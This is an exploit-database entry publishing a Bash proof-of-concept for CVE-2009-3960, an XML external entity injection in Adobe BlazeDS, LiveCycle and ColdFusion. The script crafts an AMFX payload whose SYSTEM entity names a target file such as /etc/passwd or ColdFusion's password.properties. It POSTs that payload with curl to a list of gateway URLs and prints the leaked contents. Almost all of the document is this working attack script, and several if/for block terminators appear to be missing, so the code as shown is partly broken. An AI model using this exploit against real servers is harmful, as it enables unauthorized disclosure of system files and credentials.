发布 2017-04-07 漏洞条目

Adobe (Multiple Products) – XML Injection File Content Disclosure

Exploit Source

#!/bin/bash

# Exploit Title: Adobe XML Injection file content disclosure

# Date: 07-04-2017

# Exploit Author: Thomas Sluyter

# Website: https://www.kilala.nl

# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html

# Version: Multiple Adobe products

# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise

# CVE : 2009-3960

# Shell script that let's you exploit a known XML injection vulnerability

# in a number of Adobe products, allowing you to read files that are otherwise

# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject

# This script is a Bash implementation of the PoC multiple/dos/11529.txt.

# According to the original Metasploit code, this attack works with:

# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,

# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,

# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"

PROGNAME="$(basename $0)" # This script

TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles

SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile

EXITCODE="0" # Assume success, changes on errors

CURL="/usr/bin/curl" # Other locations are detected with "which"

SSL="0" # Overridden by -s

DEBUG="0" # Overridden by -d

BREAKFOUND="0" # Overridden by -b

TARGETHOST="" # Overridden by -h

TARGETPORT="8400" # Overridden by -p

READFILE="/etc/passwd" # Overridden by -f

################################## OVERHEAD SECTION

# Various functions for overhead purposes.

# Defining our own logger function, so we can switch between stdout and syslog.

logger() {

LEVEL="$1"

MESSAGE="$2"

# You may switch the following two, if you need to log to syslog.

#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"

[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"

}

ExitCleanup() {

EXITCODE=${1}

rm -f ${SCRATCHFILE}* >/dev/null 2>&1

echo ""

exit ${EXITCODE}

}

# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script

ValidIP() {

local IP=${1}

local STAT=1

if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]

then

OIFS=$IFS; IFS='.'

IP=(${IP})

IFS=$OIFS

[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]

stat=$?

return $stat

}

# Function to output help information.

show-help() {

echo ""

cat << EOF

${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]

-? Show this help message.

-d Debug mode, outputs more kruft on stdout.

-s Use SSL / HTTPS, instead of HTTP.

-b Break on the first valid answer found.

-h Target host

-p Target port, defaults to 8400.

-f Full path to file to grab, defaults to /etc/passwd.

This script exploits a known vulnerability in a set of Adobe applications. Using one

of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is

normally inaccessible.

NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:

${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties

${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'

This script relies on CURL, so please have it in your PATH.

EOF

}

# Parsing and verifying the passed parameters.

OPTIND=1

while getopts "?dsbh:p:f:" opt; do

case "$opt" in

\?) show-help; ExitCleanup 0 ;;

d) DEBUG="1" ;;

s) SSL="1" ;;

b) BREAKFOUND="1" ;;

h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)

ValidIP ${OPTARG}; if [[ $? -eq 0 ]]

then TARGETHOST=${OPTARG}

else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')

[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)

fi ;;

p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)

if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]

then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1

else TARGETPORT=${OPTARG}

fi ;;

f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)

if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]

then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1

else READFILE=${OPTARG}

fi ;;

*) show-help; ExitCleanup 0 ;;

esac

done

[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)

[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)

[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."

################################## GETTING TO WORK

PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \

"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \

"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \

"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \

"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \

"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \

"/lcds-samples/messagebroker/httpsecure")

echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}

echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}

echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}

echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}

echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}

echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}

echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}

echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}

echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}

if [[ ${DEBUG} -gt 0 ]]

then

logger DEBUG "XML file sent to target host reads as follows:"

echo "======================================"

cat ${SCRATCHFILE}

echo "======================================"

echo ""

let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1

for ADOBEPATH in "${PATHLIST[@]}"

[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"

URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"

[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"

# Header contents based on a tcpdump capture of original exploit being

# run from Metasploit.

HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""

CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"

[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"

# The tr command dikes out any non-ASCII characters which might mess with output.

CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)

# Output is pretty garbled and the HTTP return code is enclosed in double quotes.

# I need to grab the last 5 chars (includes NULL EOF) and remove the ".

CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])

if [[ ${DEBUG} -gt 0 ]]

then

logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."

logger DEBUG "Output from CURL reads as follows:"

echo "======================================"

echo "${CURLOUTPUT}"

echo "======================================"

echo ""

logger INFO "${CURLCODE} for ${URI}"

if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]

then

echo "Read from ${URI}:"

echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'

[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0

if [[ ${DEBUG} -gt 0 ]]

then

echo -e "\nReady to continue with the next URI? [y/n]: \c"

read READY

case ${READY} in

y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;

*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;

esac

done

ExitCleanup 0

作者: Tess Sluyter
日期: 2017-04-07
类别: webapps
平台: xml

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection